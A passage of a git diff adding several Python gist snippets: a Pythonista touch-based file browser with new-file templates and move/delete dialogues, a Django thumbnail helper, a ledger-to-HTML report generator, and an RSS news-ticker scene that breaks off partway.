+		if align == 2:
+			x = (self.frame.w - w)/2
+		self.text_layer = EmptyLayer(Rect(x,y,w,h))
+		self.text_layer.tint = Color(1,1,1,1)
+		self.text_layer.image = self.txtbuf.text_img
+		self.tint = Color(1,1,1,1)
+		self.background = Color(1,1,1,1)
+		self.foreground = foreground
+		self.fg_layer = EmptyLayer(Rect(1,1,self.frame.w-2, self.frame.h - 2))
+		self.fg_layer.background = self.foreground
+		self.add_layer(self.fg_layer)
+		self.add_layer(self.text_layer)
+		if self.icon:
+			self.add_layer(self.icon_layer)
+	def update_text(self, text):
+		if self.text_layer:
+			self.remove_layer(self.text_layer)
+		self.txtbuf.text = text
+		self.txtbuf.input_char('')
+		w = self.txtbuf.text_img_s.w
+		h = self.txtbuf.text_img_s.h
+		x = self.icon_w #(self.frame.w - w)/2
+		y = (self.frame.h - h)/2
+		if self.align == 2:
+			x = (self.frame.w - w)/2
+		self.text_layer = EmptyLayer(Rect(x,y,w,h))
+		self.text_layer.tint = Color(1,1,1,1)
+		self.text_layer.image = self.txtbuf.text_img
+		self.add_layer(self.text_layer)
+	def touch_ended(self, touch):
+		self.fg_layer.background = self.foreground
+		self.text_layer.tint = Color(1,1,1)
+		if time() - self.last_touch < 0.2:
+			# click
+			if self.on_click:
+				self.on_click()
+			elif self.name:
+				e = Event()
+				e.setup('%s_clicked' % self.name)
+				EventQ.pass_event(e)
+
+	def touch_began(self, touch):
+		self.last_touch = time()
+		self.fg_layer.background = Color(1,1,1)
+		self.text_layer.tint = Color(0,0,0)
+
+	def touch_moved(self, touch):
+		self.last_touch = 0 # cancel click
+		self.fg_layer.background = self.foreground
+		self.text_layer.tint = Color(1,1,1)
+
+class NewFileView(Layer):
+	def __init__(self, bounds,frame,fs):
+		super(NewFileView, self).__init__(bounds)
+		self.fs = fs
+		self.view_layer = EmptyLayer(frame)
+		self.view_layer.background = Color(0,0,0,0.5)
+		self.add_layer(self.view_layer)
+		self.filename = ''
+		self.btn_file = Button(Rect(160-125,70,250,50), on_click=self.new_file, text='New File…', icon = 'Typicons48_Write')
+		self.view_layer.add_layer(self.btn_file)
+		self.btn_folder = Button(Rect(160-125,10,250,50), on_click=self.new_folder, text='New Folder…', icon = 'Typicons48_Calendar')
+		self.view_layer.add_layer(self.btn_folder)
+	def new_folder(self):
+		self.view_layer.remove_layer(self.btn_file)
+		self.view_layer.remove_layer(self.btn_folder)
+		self.filename_bf = TextBuffer(font_size=24.0)
+		self.filename_bf.text = 'Filename:'
+		self.filename_bf.input_char('')
+		self.new_file_txt_layer = EmptyLayer(Rect((self.view_layer.frame.w-self.filename_bf.text_img_s.w)/2, self.view_layer.frame.h-self.filename_bf.text_img_s.h, self.filename_bf.text_img_s.w, self.filename_bf.text_img_s.h))
+		self.new_file_txt_layer.tint = Color(1,1,1)
+		self.new_file_txt_layer.image = self.filename_bf.text_img
+		self.view_layer.add_layer(self.new_file_txt_layer)
+		self.txtbf = Textbox(Rect(0, self.view_layer.frame.h-self.filename_bf.text_img_s.h-55, self.frame.w, 50))
+		self.txtbf.focus=True 
+		self.view_layer.add_layer(self.txtbf)
+		
+		self.btn_n_folder = Button(Rect(160-125,self.view_layer.frame.h-self.filename_bf.text_img_s.h-110,250,50), on_click=self.create_new_folder, text='Create', align=2)
+		self.view_layer.add_layer(self.btn_n_folder)
+		e = Event()
+		e.setup('input_focus',obj = self)
+		EventQ.pass_event(e)
+	def create_new_folder(self):
+		if len(self.txtbf.txtbf.text) > 0:
+			os.mkdir(self.txtbf.txtbf.text)
+		e = Event()
+		e.setup('quit_new_file_view')
+		EventQ.pass_event(e)
+	def create_new_file_e(self):
+		if len(self.txtbf.txtbf.text) > 0:
+			path = self.fs.getcwd() + '/' + self.txtbf.txtbf.text
+			f = open(path, 'w')
+			f.write("""import os, sys
+
+sys.path += [os.path.join(os.path.dirname(os.path.abspath(__file__)), 'lib')]
+
+""")
+			f.close()
+			editor.open_file(os.path.relpath(path))
+			sys.exit()
+	def create_new_file_b(self):
+		content = """from scene import *
+import os, sys
+
+sys.path += [os.path.join(os.path.dirname(os.path.abspath(__file__)), 'lib')]
+
+class MyScene (Scene):
+	def setup(self):
+		# This will be called before the first frame is drawn.
+		pass
+	
+	def draw(self):
+		# This will be called for every frame (typically 60 times per second).
+		background(0, 0, 0)
+		# Draw a red circle for every finger that touches the screen:
+		fill(1, 0, 0)
+		for touch in self.touches.values():
+			ellipse(touch.location.x - 50, touch.location.y - 50, 100, 100)
+	
+	def touch_began(self, touch):
+		pass
+	
+	def touch_moved(self, touch):
+		pass
+
+	def touch_ended(self, touch):
+		pass
+
+run(MyScene())
+"""
+		if len(self.txtbf.txtbf.text) > 0:
+			f = open(self.txtbf.txtbf.text, 'w')
+			f.write(content)
+			f.close()
+			editor.open_file(self.txtbf.txtbf.text)
+			#sys.exit()
+	def create_new_file_l(self):
+		content = """from scene import *
+from random import random
+import os, sys
+
+sys.path += [os.path.join(os.path.dirname(os.path.abspath(__file__)), 'lib')]
+
+class MyScene (Scene):
+	def setup(self):
+		# This will be called before the first frame is drawn.
+		# Set up the root layer and one other layer:
+		self.root_layer = Layer(self.bounds)
+		center = self.bounds.center()
+		self.layer = Layer(Rect(center.x - 64, center.y - 64, 128, 128))
+		self.layer.background = Color(1, 0, 0)
+		self.layer.image = 'Snake'
+		self.root_layer.add_layer(self.layer)
+	
+	def draw(self):
+		# Update and draw our root layer. For a layer-based scene, this
+		# is usually all you have to do in the draw method.
+		background(0, 0, 0)
+		self.root_layer.update(self.dt)
+		self.root_layer.draw()
+	
+	def touch_began(self, touch):
+		# Animate the layer to the location of the touch:
+		x, y = touch.location.x, touch.location.y
+		new_frame = Rect(x - 64, y - 64, 128, 128)
+		self.layer.animate('frame', new_frame, 1.0, curve=curve_bounce_out)
+		# Animate the background color to a random color:
+		new_color = Color(random(), random(), random())
+		self.layer.animate('background', new_color, 1.0)
+	
+	def touch_moved(self, touch):
+		pass
+	
+	def touch_ended(self, touch):
+		pass
+
+run(MyScene())
+"""
+		if len(self.txtbf.txtbf.text) > 0:
+			f = open(self.txtbf.txtbf.text, 'w')
+			f.write(content)
+			f.close()
+			editor.open_file(self.txtbf.txtbf.text)
+			#sys.exit()
+	def new_file(self):
+		self.view_layer.remove_layer(self.btn_file)
+		self.view_layer.remove_layer(self.btn_folder)
+		self.filename_bf = TextBuffer(font_size=24.0)
+		self.filename_bf.text = 'Filename:'
+		self.filename_bf.input_char('')
+		self.new_file_txt_layer = EmptyLayer(Rect((self.view_layer.frame.w-self.filename_bf.text_img_s.w)/2, self.view_layer.frame.h-self.filename_bf.text_img_s.h, self.filename_bf.text_img_s.w, self.filename_bf.text_img_s.h))
+		self.new_file_txt_layer.tint = Color(1,1,1)
+		self.new_file_txt_layer.image = self.filename_bf.text_img
+		self.view_layer.add_layer(self.new_file_txt_layer)
+		self.txtbf = Textbox(Rect(0, self.view_layer.frame.h-self.filename_bf.text_img_s.h-55, self.frame.w, 50))
+		self.txtbf.focus=True 
+		self.view_layer.add_layer(self.txtbf)
+		
+		self.btn_n_empty = Button(Rect(160-125,self.view_layer.frame.h-self.filename_bf.text_img_s.h-110,250,50), on_click=self.create_new_file_e, text='Empty', align=2)
+		self.btn_n_basic = Button(Rect(160-125,self.view_layer.frame.h-self.filename_bf.text_img_s.h-170,250,50), on_click=self.create_new_file_b, text='Basic Scene', align=2)
+		self.btn_n_layers = Button(Rect(160-125,self.view_layer.frame.h-self.filename_bf.text_img_s.h-230,250,50), on_click=self.create_new_file_l, text='Scene with Layers', align=2, font_size=24.0)
+		
+		self.view_layer.add_layer(self.btn_n_empty)
+		self.view_layer.add_layer(self.btn_n_basic)
+		self.view_layer.add_layer(self.btn_n_layers)
+		e = Event()
+		e.setup('input_focus', obj = self)
+		EventQ.pass_event(e)
+	def touch_ended(self, touch):
+		if time() - self.last_touch < 0.2:
+			# click
+			if touch.location.y < self.view_layer.frame.y and touch.location.y > 240:
+				e = Event()
+				e.setup('quit_new_file_view')
+				EventQ.pass_event(e)
+
+	def touch_began(self, touch):
+		self.last_touch = time()
+
+	def touch_moved(self, touch):
+		self.last_touch = 0 # cancel click
+
+class ConfirmDialogue(Layer):
+	def __init__(self, question, btn_text, bounds, frame, background):
+		super(ConfirmDialogue, self).__init__(bounds)
+		self.yes = False
+		self.confirmation_dialogue = EmptyLayer(frame)
+		self.confirmation_dialogue.background = background
+		self.confirm_button = Button(Rect((frame.w-220)/2,5,220,30),text=btn_text,font_size=16.0,foreground=Color(0,0,0,1), on_click=self.confirm_move_delete, align=2)
+		self.confirmation_dialogue.add_layer(self.confirm_button)
+	def ask(self):
+		self.add_layer(self.confirmation_dialogue)
+	def confirm_move_delete(self):
+		self.yes = False
+	def touch_ended(self, touch):
+		pass
+	def touch_began(self, touch):
+		pass
+	def touch_moved(self, touch):
+		pass
+
+
+class MoveDialogue(Layer):
+	def __init__(self, bounds, cwd):
+		super(MoveDialogue, self).__init__(bounds)
+		self.bounds = bounds
+		self.cwd = cwd
+		h = int(self.bounds.h*0.75)
+		m_y = int((self.bounds.h-self.bounds.h*0.75)/2)
+		self.view_frame = Layer(Rect(0, 0, self.bounds.w, self.bounds.h))
+		self.view_frame.background = Color(0,0,0,0.75)
+		self.move_list = List(Rect((self.bounds.w-250)/2, 45, 250, self.bounds.h-45), name='move_list')
+		self.fs = filesystem(self.cwd)
+		self.move_list.set_list(self.fs.dirs + self.fs.files)
+		self.move_button = Button(Rect(35, 5, 120, 35),text='Move here',font_size=16.0,foreground=Color(0,0,1,1), name='move_files_here', align=2)
+		self.cancel_move_button = Button(Rect(165, 5, 120, 35),text='Cancel',font_size=16.0,foreground=Color(0.5,0.5,0.5,1), name='cancel_move_files_here', align=2)
+		self.view_frame.add_layer(self.move_list)
+		self.view_frame.add_layer(self.move_button)
+		self.view_frame.add_layer(self.cancel_move_button)
+		self.add_layer(self.view_frame)
+
+class EditModeButtons(Layer):
+	def __init__(self, frame, cwd=None):
+		self.cwd = cwd
+		super(EditModeButtons, self).__init__(frame)
+		self.selected_count = 0
+		self.background = Color(0,0,0,1)
+		self.move_button = Button(Rect(50,5,100,30),text='Move (0)',font_size=16.0,foreground=Color(0,0,1,1), name='move_button')
+		self.delete_button = Button(Rect(170,5,100,30),text='Delete (0)',font_size=16.0,foreground=Color(1,0,0,1), on_click=self.delete_btn_click)
+		self.add_layer(self.move_button)
+		self.add_layer(self.delete_button)
+		self.mv_rm_confirmed = False
+	def change_count(self, text):
+		self.move_button.update_text('Move (%s)' % text)
+		self.delete_button.update_text('Delete (%s)' % text)
+	def event_listener(self, e):
+		if e.msg_type == 'edit_mode_selected_count':
+			self.selected_count = e.msg
+			self.change_count(e.msg)
+		elif e.msg_type == 'confirm_delete_clicked':
+			self.remove_layer(self.confirmation_dialogue)
+			self.confirmation_dialogue = None
+	def delete_btn_click(self):
+		self.confirm_delete()
+	def confirm_delete(self):
+		self.confirmation_dialogue = Layer(Rect(0,0,self.frame.w,40))
+		self.confirmation_dialogue.background = Color(1,0,0,1)
+		btn_text = 'Delete %s file(s)!' % self.selected_count
+		self.confirm_button = Button(Rect(50,5,220,30),text=btn_text,font_size=16.0,foreground=Color(0,0,0,1), name='confirm_delete', align=2)
+		self.confirmation_dialogue.add_layer(self.confirm_button)
+		self.add_layer(self.confirmation_dialogue)
+		
+
+class MyScene (Scene):
+	def setup(self):
+		self.edit_mode = False 
+		self.touch_start_t = -1
+		self.touch_start = Touch(0,0,0,0,0)
+		self.hold_timeout = 0
+		self.root_layer = RootLayer(self, self.bounds)
+		center = self.bounds.center()
+		self.fs = filesystem()
+		self.kbd_visible = False  
+		self.klayer = KbdLayer(Rect(0, 0, 1,1),self.fs.home)
+		self.input_focus = None 
+		self.new_file_dialog = False
+		self.listname = 'main_list'
+		self.list = List(Rect(0,0,self.bounds.w,self.bounds.h-40), name = self.listname)
+		self.list.set_list(self.fs.dirs + self.fs.files)
+		self.root_layer.add_layer(self.list)
+		self.toolbar = Toolbar(Rect(0, self.bounds.h-40, self.bounds.w, 40))
+		self.toolbar.add_object('fs_add_button')
+		self.toolbar.add_object('edit_mode_button')
+		self.toolbar.add_object('fs_statusbar', 2)
+		self.toolbar.objects[2].set_status('%i files' % len(self.fs.dirs + self.fs.files))
+		self.root_layer.add_layer(self.toolbar)
+		#self.root_layer.add_layer(self.klayer)
+		#self.tbox = Textbox(Rect(self.bounds.w/2-125,self.bounds.h*.75-25,250,50))
+		#self.root_layer.add_layer(self.tbox)
+		EventQ.add_listener(self.list.event_listener)
+		EventQ.add_listener(self.event_listener)
+		
+	def event_listener(self, e):
+		if e.msg_type == 'show_keyboard':
+			if self.kbd_visible == False:
+				self.kbd_visible = True
+				self.root_layer.add_layer(self.klayer)
+		elif e.msg_type == 'hide_keyboard':
+			if self.kbd_visible == True:
+				self.root_layer.remove_layer(self.klayer)
+				self.kbd_visible = False
+		elif e.msg_type == 'input_focus':
+			self.input_focus = e.obj
+			if self.kbd_visible == False:
+				self.kbd_visible = True
+				self.root_layer.add_layer(self.klayer)
+			e.obj.txtbf.got_focus = True
+			self.klayer.direct_input = e.obj.txtbf.txtbf.input_char
+		elif e.msg_type == 'fs_open':
+			print e.obj
+			if type(e.obj) == None or e.obj == 'main_list':
+				for item in self.fs.dirs:
+					if item[0] == e.msg or e.msg == '..':
+						self.fs.chdir(e.msg)
+						self.list.set_list(self.fs.dirs + self.fs.files)
+						self.toolbar.objects[2].set_status('%i files' % len(self.fs.dirs + self.fs.files))
+						return
+				editor.open_file(os.path.relpath(self.fs.cwd + '/' + e.msg))
+				sys.exit()
+			elif e.obj == 'move_list':
+				for item in self.move_dialogue.fs.dirs:
+					if item[0] == e.msg or e.msg == '..':
+						self.move_dialogue.fs.chdir(e.msg)
+						self.move_dialogue.move_list.set_list(self.move_dialogue.fs.dirs + self.move_dialogue.fs.files)
+		elif e.msg_type == 'fs_add_button':
+			self.new_file_dialog = True
+			self.new_file_view = NewFileView(self.bounds, Rect(0,self.bounds.h-250,self.bounds.w,250), self.fs)
+			self.root_layer.add_layer(self.new_file_view)
+		elif e.msg_type == 'toggle_edit_mode':
+			if self.edit_mode:
+				self.edit_mode = False 
+				self.root_layer.remove_layer(self.edit_mode_buttons)
+				EventQ.remove_listener(self.edit_mode_buttons.event_listener)
+			else:
+				self.edit_mode = True
+				self.edit_mode_buttons = EditModeButtons(Rect(0, self.bounds.h-80, self.bounds.w, 40), cwd = self.fs.cwd)
+				self.root_layer.add_layer(self.edit_mode_buttons)
+				EventQ.add_listener(self.edit_mode_buttons.event_listener)
+			self.list.edit_mode = self.edit_mode
+			self.list.set_list(self.fs.dirs + self.fs.files)
+		elif e.msg_type == 'confirm_delete_clicked':
+			file_items = []
+			dir_items = []
+			for item in self.list.items:
+				if item.selected:
+					if item.type:
+						file_items.append(item.txtbf.text)
+					else:
+						dir_items.append(item.txtbf.text)
+			if len(file_items) > 0:
+				for item in file_items:
+					os.remove(self.fs.cwd + '/' + item)
+			if len(dir_items) > 0:
+				for item in dir_items:
+					os.removedirs(self.fs.cwd + '/' + item)
+			self.fs.chdir('.')
+			self.list.set_list(self.fs.dirs + self.fs.files)
+			self.toolbar.objects[2].set_status('%i files' % len(self.fs.dirs + self.fs.files))
+			e = Event()
+			e.setup('toggle_edit_mode')
+			EventQ.pass_event(e)
+		elif e.msg_type == 'move_button_clicked':
+			self.move_dialogue = MoveDialogue(self.bounds, self.fs.cwd)
+			self.root_layer.add_layer(self.move_dialogue)
+		elif e.msg_type == 'cancel_move_files_here_clicked':
+			self.root_layer.remove_layer(self.move_dialogue)
+		elif e.msg_type == 'move_files_here_clicked':
+			file_items = []
+			for item in self.list.items:
+				if item.selected:
+					file_items.append(item.txtbf.text)
+			if len(file_items) > 0:
+				for item in file_items:
+					shutil.move(self.fs.cwd + '/' + item, self.move_dialogue.fs.cwd + '/' + item)
+			self.fs.chdir('.')
+			self.list.set_list(self.fs.dirs + self.fs.files)
+			self.toolbar.objects[2].set_status('%i files' % len(self.fs.dirs + self.fs.files))
+			self.root_layer.remove_layer(self.move_dialogue)
+			e = Event()
+			e.setup('toggle_edit_mode')
+			EventQ.pass_event(e)
+		elif e.msg_type == 'quit_new_file_view':
+			self.new_file_dialog = False
+			self.root_layer.remove_layer(self.new_file_view)
+			if self.kbd_visible == True:
+				self.root_layer.remove_layer(self.klayer)
+				self.kbd_visible = False
+			self.fs.chdir('.')
+			self.list.set_list(self.fs.dirs + self.fs.files)
+			self.toolbar.objects[2].set_status('%i files' % len(self.fs.dirs + self.fs.files))
+	def draw(self):
+		# Update and draw our root layer. For a layer-based scene, this
+		# is usually all you have to do in the draw method.
+		background(0, 0, 0)
+		stroke(1,0,0)
+		stroke_weight(1)
+		self.root_layer.update(self.dt)
+		self.root_layer.draw()
+	def touch_began(self, touch):
+		self.touch_start = touch
+		self.touch_start_t = self.t
+	def touch_moved(self, touch):
+		pass
+	def touch_ended(self, touch):
+		if self.input_focus:
+
+			if touch.location in self.input_focus.frame or touch.location in self.klayer.frame:
+				pass
+			else:
+				self.input_focus.focus = False 
+				self.input_focus = None 
+				self.klayer.direct_input = None
+				if self.kbd_visible == True:
+					self.root_layer.remove_layer(self.klayer)
+					self.kbd_visible = False
+		
+
+EventQ = Events()
+run(MyScene())
diff --git a/hard-gists/4166551/._snippet.py b/hard-gists/4166551/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4166551/._snippet.py differ
diff --git a/hard-gists/4166551/snippet.py b/hard-gists/4166551/snippet.py
new file mode 100644
index 00000000..9212f2f6
--- /dev/null
+++ b/hard-gists/4166551/snippet.py
@@ -0,0 +1,43 @@
+from PIL import Image as PILImage
+import os
+from django.core.files import File
+from django.core.files.base import ContentFile
+from cStringIO import StringIO
+
+def create_thumbnail_from_image_field(image_field, thumbnail_image_field,
+                                      thumb_width, thumb_height):
+    """
+    This function is intended to be used with a model similar to
+    class UserProfile(models.Model):
+        ...
+        profile_pic = models.ImageField()
+        profile_pic_thumb = models.ImageField()
+
+    The profile_pic field is pre-populated eg. via user upload.
+    The thumbnail field is then generated using this function as:
+    THUMB_WIDTH = THUMB_HEIGHT = 48
+    create_thumbnail_from_image_field(profile.profile_pic, profile.profile_pic_thumb, 
+                                      THUMB_WIDTH, THUMB_HEIGHT)
+    """
+    # open the image_field file to allow PIL to read from it
+    image_field.open(mode='rb')
+
+    # process the image_field to genearate a thumbnail
+    img = PILImage.open(image_field)
+    thumbimg = img.copy()
+    thumbimg.thumbnail((thumb_width, thumb_height), PILImage.ANTIALIAS)
+
+    # save the thumbnail to memory
+    mem_thumb = StringIO()
+    thumbimg.save(mem_thumb, 'png')
+    mem_thumb.seek(0)
+    
+    # figure out the filename for the thumbnail based on the filename of the
+    # profile pic
+    path, image_basename = os.path.split(image_field.name)
+    frontname, ext = os.path.splitext(image_basename)
+    thumb_basename = frontname + '_thumb.png' # thumbs always saved as png
+
+    # save the thumbnail data to the actual file managed by the field
+    thumbnail_image_field.save(thumb_basename,
+                               ContentFile(mem_thumb.read()), save=False)
\ No newline at end of file
diff --git a/hard-gists/4171521/._snippet.py b/hard-gists/4171521/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4171521/._snippet.py differ
diff --git a/hard-gists/4171521/snippet.py b/hard-gists/4171521/snippet.py
new file mode 100644
index 00000000..e54406b3
--- /dev/null
+++ b/hard-gists/4171521/snippet.py
@@ -0,0 +1,97 @@
+import ledger
+journal = ledger.read_journal(" LEDGER FILE PATH HERE  ")
+print """<html>
+<head>
+	<title>Rental Ledger</title>
+	<link rel="stylesheet" href="javascript/jquery.tablesorter/themes/blue/style.css" type="text/css" id="" media="print, projection, screen" />
+	<script type="text/javascript" src="javascript/jquery.js"></script> 
+	<script type="text/javascript" src="javascript/jquery.tablesorter/jquery.tablesorter.js"></script>
+	<script type="text/javascript" id="js">
+		$(document).ready(function() {
+			// call the tablesorter plugin
+			$("table").tablesorter();
+			$('#bill').hide();
+			
+		}); 
+	</script>
+	<style type="text/css">
+		.date {
+			width: 75px;
+		}
+		.house {
+			width: 75px;
+		}
+		.reconciled {
+			width: 20px;
+		}
+		.checknum {
+			width: 50px;
+		}
+		.payee {
+			width: 280px;
+		}
+		#transactions {
+			float: left;
+			width: 30%;
+		}
+		#bill {
+			float: right;
+			width: 60%;
+		}
+		table.tablesorter tbody tr { 
+			background-color: white;
+		}
+		.post {
+			font-size: 8pt;
+			background-color: inherit;
+		}
+		.postaccount {
+			width: 200px;
+		}
+	</style>
+	<script type="text/javascript" >
+		var lastrow;
+		function show_bill(row, path) {
+			$(row).css('background-color', '#F4F4F4');
+			if (lastrow && lastrow != row) {
+				$(lastrow).css('background-color', 'white');
+			}
+			if (path == '') {
+				$('#bill').hide();
+			}
+			else 
+			{
+				$('#bill').show();
+				$('#bill').attr("src", "../" + path);
+			}		
+			lastrow = row;
+		}
+	</script>
+</head>
+<body>
+	<h1>Rental Ledger</h1>
+
+	<table id="transactions" class="tablesorter">
+		<thead>
+			<tr><th class="date">Date</th><th class="house">House</th><th  class="reconciled">*</th><th class="checknum">Check</th><th class="payee">Payee</th></tr>
+		</thead>
+		<tbody>
+"""
+for xact in sorted(journal, key=lambda x: x.date):
+	print "\t\t\t<tr onclick=\"show_bill(this, '%s')\"><td class=\"date\">%s</td><td class=\"house\">%s</td><td class=\"reconciled\">%s</td><td class=\"checknum\">%s</td><td class=\"payee\">%s" % (( xact.get_tag("image") if xact.has_tag("image") else ""), xact.date, (xact.get_tag("house") if xact.has_tag("house") else ""), "*", ("" if xact.code is None else xact.code), xact.payee)
+	if xact.has_tag("image"):
+		print "\t\t<!-- IMAGE: %s -->" % (xact.get_tag("image"))
+	print "\t\t\t\t<table class=\"post\">"
+	for post in xact: 
+	    print "\t\t\t\t\t<tr><td class=\"postaccount\">%s</td><td>%s</td></tr>" % (post.account, post.amount)
+	print "\t\t\t\t</table>\n\t\t\t</td></tr>"
+
+print """
+		</tbody>
+	</table>
+
+	<img id="bill" />
+
+</body>
+</html>
+"""
\ No newline at end of file
diff --git a/hard-gists/4173534/._snippet.py b/hard-gists/4173534/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4173534/._snippet.py differ
diff --git a/hard-gists/4173534/snippet.py b/hard-gists/4173534/snippet.py
new file mode 100644
index 00000000..a438f22c
--- /dev/null
+++ b/hard-gists/4173534/snippet.py
@@ -0,0 +1,219 @@
+#https://gist.github.com/GuyCarver/4173534
+
+from scene import *
+import feedparser
+from time import sleep
+import random
+import Queue
+from threading import Thread, Event
+
+fontsize = 25
+coverw = fontsize   #The width of the rectangle used to cover the end of the scroll area.
+scrollspeed = 100 #Pixels per second to scroll.
+
+requests = Queue.Queue()    #Create a thread safe queue for the rss feed reading.
+
+###Add request for rss read to queue.
+def addrequest(req): requests.put(req)
+
+###Thread function to process rss feed load requests.
+def loadthread():
+  while True:
+    requests.get().load()   #Get next entry, blocks until data available, then load it.
+    requests.task_done()    #Set the task as done, not really used by this system though.
+
+ldthread = None  #Pointer to the loading thread.
+
+###Rectangle containing a scrolling news feed.
+class scrolltext(object):
+  def __init__(self, rect, url):
+    self.textarea = Rect(*rect) #The area for the scrolling text.
+    self.random = True  #Randomize the feed entries.
+    self.url = url  #URL to read rss feed from.
+    self.scrollspeed = scrollspeed  #Speed to scroll text in pixels/second.
+    self.textcolor = Color(1.00, 1.00, 0.00)    #Color of text.
+    self.leftrect = Rect(self.textarea.x, self.textarea.y - 1, coverw, fontsize) #Rectangle for box to cover left side of box.
+    self.rightrect = Rect(self.textarea.right() - coverw, self.leftrect.y, self.leftrect.w, self.leftrect.h) #Rectangle for box to cover right side of box.
+    self.titlerect = Rect(self.textarea.x, self.textarea.y + fontsize + 4, 0, fontsize) #Box for the RSS feed title text.
+    self.displaytextrect = Rect(self.textarea.right(), self.textarea.y, 0, fontsize)
+    self.displaytext = ''   #Text from RSS feed to display in the visible area.
+    self.displaytextimg = None  #Image if displaytext.
+    self.lletter = 0    #Index of left letter.
+    self.rletter = 0    #Index of right letter.
+    self.lletterimg = -1    #Index of left letter used to generate displaytextimg.
+    self.rletterimg = -1    #Index of right letter used to generate displaytextimg.
+    self.text = ''
+    self.title = None           #Title text.
+    self.titleimg = None    #Image of title text.
+    self.rend = 'White_Square'  #Left/right end image caps.
+    self.lend = self.rend
+    self.curmessage = 0 #Index of message in rss feed message array.
+    self.uddone = Event()   #Event used to signal when URL update is done.
+    self.uddone.clear()     #Start the event cleared.
+
+    self.displaytextimg = render_text(' ', font_size=fontsize)  #Crate an empty image of the display text.
+    self.getheadlines() #Start download of RSS feed.
+
+  ###Start the RSS feed download.
+  def getheadlines(self):
+    self.state = self.waitfordata   #Update state to wait for data download
+    self.title = 'queued'   #Set the display text for the title.
+    addrequest(self)    #Queue the rss feed download request.
+
+  ###Load the RSS feed data.  This is called from the loading thread.
+  def load(self):
+    self.title = 'loading'  #Set title text to loading.
+    d = feedparser.parse(self.url)  #Parse the rss feed.
+    self.title = d['feed']['title'].encode('utf-8') #Get the title text.
+#this causes errors with 's in text which return nan for size returned by render_text()
+#this manifests itself by causing the text to render as solid blocks of color that exceed the rectangle bounds.
+#           self.headlines = [ row['summary'].encode('utf-8') for row in d.entries ]
+    self.headlines = [ row['summary'] for row in d.entries ]    #Get text for each feed entry.
+    self.curmessage = 0 #Start at message 0.
+    if self.random: #If randomizing entries then shuffle the list.
+      random.shuffle(self.headlines)
+    self.setmsg(self.headlines[self.curmessage])    #Set the 1st message and start the scrolling.
+    self.uddone.set()   #Tell the main thread we are done loading.
+
+  ###Determine if text image needs updating.
+  def updatedesplaytext(self):
+    if self.lletter != self.lletterimg or self.rletter != self.rletterimg:
+      self.lletterimg = self.lletter
+      self.rletterimg = self.rletter
+      self.displaytext = self.text[self.lletter : self.rletter]   #Get new substr.
+      self.displaytextimg = render_text(self.displaytext, font_size=fontsize) #Create text image.
+      self.displaytextrect.w = self.displaytextimg[1].w   #Set the text width.  Height doesn't change.
+
+  ###Chop character from front of string if out of the display area.
+  def chop(self):
+    #Loop until the text is within the display area.
+    while self.displaytextrect.x <= self.leftrect.x:
+      #If there are any letters left in the text.
+      if self.lletter < self.letters:
+        lt = self.text[self.lletter] #Get the current leftmost letter.
+        #Render it so we can adjust the rectangle by the width of the character.
+        timg = render_text(lt, font_name='ArialMT' ,font_size=fontsize)
+        self.displaytextrect.x += max(0,min(fontsize, timg[1].w))
+        self.lletter += 1   #Next letter.
+
+  ###Add character to end of string if a new character is needed.
+  def add(self):
+    r = self.displaytextrect.right()
+    if r <= self.rightrect.left(): #If the right position is < the left side of the end cap add a letter.
+      self.rletter += 1
+      if self.rletter >= self.letters:    #If out of letters show next message.
+        self.nextmessage()
+
+  ###Add next message to current display text.
+  def nextmessage(self):
+    self.curmessage += 1    #Next message.
+    if self.curmessage & 1: #Every other message is a ...
+      self.setmsg('...   ')
+    else:
+      cm = self.curmessage / 2    #Since every other message is ... index into headlines list is curmessage / 2.
+      #If out of messages queue up download.
+      if cm >= len(self.headlines):
+        self.getheadlines()
+      else:
+        self.setmsg(self.headlines[cm])
+
+  ###Add the given text to display text.
+  def setmsg(self, msg):
+    self.text = self.text[self.lletter:] + msg  #Add the text but also shop unneeded text off of front.
+    self.letters = len(self.text)   #Get # of letters in the string.
+    self.rletter -= self.lletter    #Adjust the right letter index to be relative to new start of string.
+    self.lletter = 0    #Reset string start.
+
+  ###Update state waits for data download.
+  def waitfordata(self, dt):
+    if self.uddone.is_set():    #If the update done event is set.
+      self.state = self.scrollstate   #Switch to scrolling state.
+      ttl = render_text(self.title)   #Convert title to image.
+      self.titleimg = ttl[0]
+      self.titlerect.w = ttl[1].w
+      self.titlerect.h = ttl[1].h
+      self.uddone.clear() #Reset the update event for the next download.
+    return False    #Return false to indicate we are waiting for a download.
+
+  ###Update state scrolls text.
+  def scrollstate(self, dt):
+    self.displaytextrect.x -= dt * self.scrollspeed #Update scroll position.
+    self.chop() #Chop letter from left if out of display area.
+    self.add()  #Add letter to right if more data needed.
+    self.updatedesplaytext()    #Make sure image of text is up to date.
+    return True #Return true to indicate we are displaying.
+
+  ###Update the rss feed system.
+  def update(self, dt): return self.state(dt)
+
+  ###Draw the RSS feed text.
+  def draw(self):
+#       fill(0,0,0)
+#       rect(*self.textarea)    #This is usefull if the whole screen is not cleared each frame.
+
+    #If display text exists render it.
+    if self.displaytextimg[0]:
+      tint(*self.textcolor)
+      image(self.displaytextimg[0], *self.displaytextrect)
+
+    tint(*self.textcolor)
+    #Render left/right caps.
+    image(self.lend, *self.leftrect)
+    image(self.rend, *self.rightrect)
+
+    #If we have title text image render it.
+    if self.titleimg:
+      image(self.titleimg, *self.titlerect)
+    elif self.title:    #Otherwise display the title text.
+      text(self.title, x=self.titlerect.x, y=self.titlerect.y, alignment=9)
+
+class MyScene(Scene):
+  ###The scene containing scrolling RSS feeds.
+  def setup(self):
+    global ldthread
+    x = 100 #Start 100 units in from left.
+    r = Rect(x, 100, self.size.w - x, fontsize)
+    sp = Point(50, 0)   #Use Point to hold scroll speed so it is available in addfeed by reference.
+    self.feeds = []
+
+    #Start the loading thread.
+    ldthread = Thread(target=loadthread)
+    ldthread.start()
+
+    #Local function to add an RSS feed to the feeds list.
+    def addfeed(u, c, img, rand = True):
+      f = scrolltext(r, u)    #Create scroll text instance.
+      f.rend = img    #Set right end cap to given image.
+      f.random = rand #Set message randomization.
+      f.textcolor = c #Set color for text.
+      f.scrollspeed = sp.x    #Set scroll speed using the sp.x value.
+      self.feeds.append(f)    #Add object to feeds list.
+      r.y += 75   #Move the rectangle up.
+      r.x -= 25   #And to the left.
+      r.w += 25   #Keep right side at same point.
